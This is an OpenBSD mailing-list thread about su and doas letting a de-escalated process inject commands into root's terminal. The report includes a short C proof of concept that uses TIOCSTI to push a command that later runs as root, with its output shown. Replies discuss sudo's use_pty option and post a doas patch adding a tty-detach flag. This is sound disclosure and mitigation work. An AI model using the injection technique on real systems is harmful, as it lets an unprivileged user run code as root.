Re: Unexpected behavior in su/doas
FYI, sudo supports running the command in a new pty, which should avoid the issue. Commands are always run in a new pty when logging input or output, otherwise the use_pty flag needs to be set in sudoers. - todd
Re: Unexpected behavior in su/doas
Simon Ruderich wrote: > Hello, > > I stumbled upon unexpected behavior on OpenBSD 6.0 (all patches) > which seems to allow running commands as the original user when > using su and doas interactively because the controlling terminal > is the same. > Is this behavior expected and if so, how do I run commands from > root as an untrusted user? It's not mentioned in the man page > that using su/doas as root might allow other users to run code as > root. Oh, interesting. The main design of doas is to escalate privileges, allowing users to run commands as root. But it certainly looks appealing to use it to drop privileges as well. It's easy to add an option to disassociate from the controlling tty. I'm not sure if this solves every problem, but it certainly blocks direct tty injection. (You also pick up some privileges from being in a session or process group, but those privileges are less powerful.) Certain commands require a controlling tty, but that seems to be mostly shells. Even vi and mg work ok. Index: doas.1 === RCS file: /cvs/src/usr.bin/doas/doas.1,v retrieving revision 1.19 diff -u -p -r1.19 doas.1 --- doas.1 4 Sep 2016 15:20:37 - 1.19 +++ doas.1 3 Oct 2016 16:16:07 - @@ -21,7 +21,7 @@ .Nd execute commands as another user .Sh SYNOPSIS .Nm doas -.Op Fl Lns +.Op Fl DLns .Op Fl a Ar style .Op Fl C Ar config .Op Fl u Ar user @@ -68,6 +68,9 @@ or will be printed on standard output, depending on command matching results. No command is executed. +.It Fl D +Detach from controlling terminal. +This can be useful when attempting to deescalate privileges. .It Fl L Clear any persisted authorizations from previous invocations, then immediately exit. Index: doas.c === RCS file: /cvs/src/usr.bin/doas/doas.c,v retrieving revision 1.64 diff -u -p -r1.64 doas.c --- doas.c 3 Sep 2016 11:03:18 - 1.64 +++ doas.c 3 Oct 2016 16:24:08 - @@ -271,6 +271,7 @@ main(int argc, char **argv) int i, ch; int sflag = 0; int nflag = 0; + int droptty = 0; char cwdpath[PATH_MAX]; const char *cwd; char *login_style = NULL; @@ -282,7 +283,7 @@ main(int argc, char **argv) uid = getuid(); - while ((ch = getopt(argc, argv, "a:C:Lnsu:")) != -1) { + while ((ch = getopt(argc, argv, "a:C:DLnsu:")) != -1) { switch (ch) { case 'a': login_style = optarg; @@ -290,6 +291,9 @@ main(int argc, char **argv) case 'C': confpath = optarg; break; + case 'D': + droptty = 1; + break; case 'L': i = open("/dev/tty", O_RDWR); if (i != -1) @@ -371,6 +375,15 @@ main(int argc, char **argv) errx(1, "Authorization required"); authuser(myname, login_style, rule->options & PERSIST); + } + + if (droptty) { + i = open("/dev/tty", O_RDWR); + if (i == -1) + err(1, "can't open tty"); + if (ioctl(i, TIOCNOTTY) != 0) + err(1, "can't drop controlling tty"); + close(i); } if (pledge("stdio rpath getpw exec id", NULL) == -1)
Re: Unexpected behavior in su/doas
On Sat, Oct 01, 2016 at 03:54:40PM -0600, Theo de Raadt wrote: > De-escalation using these "sudo" or "doas" like tools on a tty is > somewhat unsafe - it has always been unsafe - because tty's have > capabilities. Until looking into this issue I was totally unaware of the possible implications (even though they are obvious when you start thinking about it) and I guess I'm not alone. I think we should document the fact that using those tools for de-escalation is not safe in the su/doas/sudo man pages. > If you wish to be safer, do these operations without retaining access > to a tty. Are there tools available for this task? I could use SSH, but that only works for unlocked accounts with a password/ssh-key. > Escalation on the other hand (user -> root) is different, because then > it is clear you want to do more / everything. But de-escalation is a > joke. > > This is just one mechanism on tty, there are others. On other > descriptors there are other abilities. sudo provides the use_pty option (sadly not by default) which spawns a new session with a new controlling TTY and then forwards the input to the original tty (similar to what SSH does - just without the network). This way the unprivileged process never has any access to the privileged terminal which prevents this attack. Would it be useful to add a similar feature (per default) to su/doas or are there downsides or other possible attacks with this approach? Regards Simon -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature
Re: Unexpected behavior in su/doas
> I stumbled upon unexpected behavior on OpenBSD 6.0 (all patches) > which seems to allow running commands as the original user when > using su and doas interactively because the controlling terminal > is the same. Use of su, doas, or sudo -- means you EXPLICITLY want the tty to remain the same. > The following binary is used to test this and compiled as > /tmp/a.out: > > #include > #include > > char s[] =3D "echo Payload as $(whoami)\n"; > > void main(void) { > printf("uid: %d\n", getuid()); > > char *c =3D s; > int i =3D 0; > int tty =3D open("/dev/tty", 0); > > do { > ioctl(tty, TIOCSTI, c); > c++; > } while (*c); > > return; > } > > Now running su builder -c /tmp/a.out (where builder is just a > normal user with a shell) results in: > > # su builder -c /tmp/a.out > uid: 1000 > echo Payload as $(whoami) > # echo Payload as $(whoami) > Payload as root > > Similar happens with doas and the following config: > > # cat /etc/doas.conf > permit nopass root as builder > > # doas -u builder /tmp/a.out > uid: 1000 > echo Payload as $(whoami) > # echo Payload as $(whoami) > Payload as root > > Is this behavior expected and if so, how do I run commands from > root as an untrusted user? It's not mentioned in the man page > that using su/doas as root might allow other users to run code as > root. It sounds as if you don't understand what happens. The command gets run afterwards. > Similar behavior is also mentioned in an old (and unfixed) Debian > bug [1]. So what is learned here? De-escalation using these "sudo" or "doas" like tools on a tty is somewhat unsafe - it has always been unsafe - because tty's have capabilities. If you wish to be safer, do these operations without retaining access to a tty. Escalation on the other hand (user -> root) is different, because then it is clear you want to do more / everything. But de-escalation is a joke. This is just one mechanism on tty, there are others. On other descriptors there are other abilities. I don't have an answer.
Unexpected behavior in su/doas
Hello, I stumbled upon unexpected behavior on OpenBSD 6.0 (all patches) which seems to allow running commands as the original user when using su and doas interactively because the controlling terminal is the same. The following binary is used to test this and compiled as /tmp/a.out: #include #include char s[] = "echo Payload as $(whoami)\n"; void main(void) { printf("uid: %d\n", getuid()); char *c = s; int i = 0; int tty = open("/dev/tty", 0); do { ioctl(tty, TIOCSTI, c); c++; } while (*c); return; } Now running su builder -c /tmp/a.out (where builder is just a normal user with a shell) results in: # su builder -c /tmp/a.out uid: 1000 echo Payload as $(whoami) # echo Payload as $(whoami) Payload as root Similar happens with doas and the following config: # cat /etc/doas.conf permit nopass root as builder # doas -u builder /tmp/a.out uid: 1000 echo Payload as $(whoami) # echo Payload as $(whoami) Payload as root Is this behavior expected and if so, how do I run commands from root as an untrusted user? It's not mentioned in the man page that using su/doas as root might allow other users to run code as root. Similar behavior is also mentioned in an old (and unfixed) Debian bug [1]. Regards Simon [1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=628843 -- + privacy is necessary + using gnupg http://gnupg.org + public key id: 0x92FEFDB7E44C32F9 signature.asc Description: PGP signature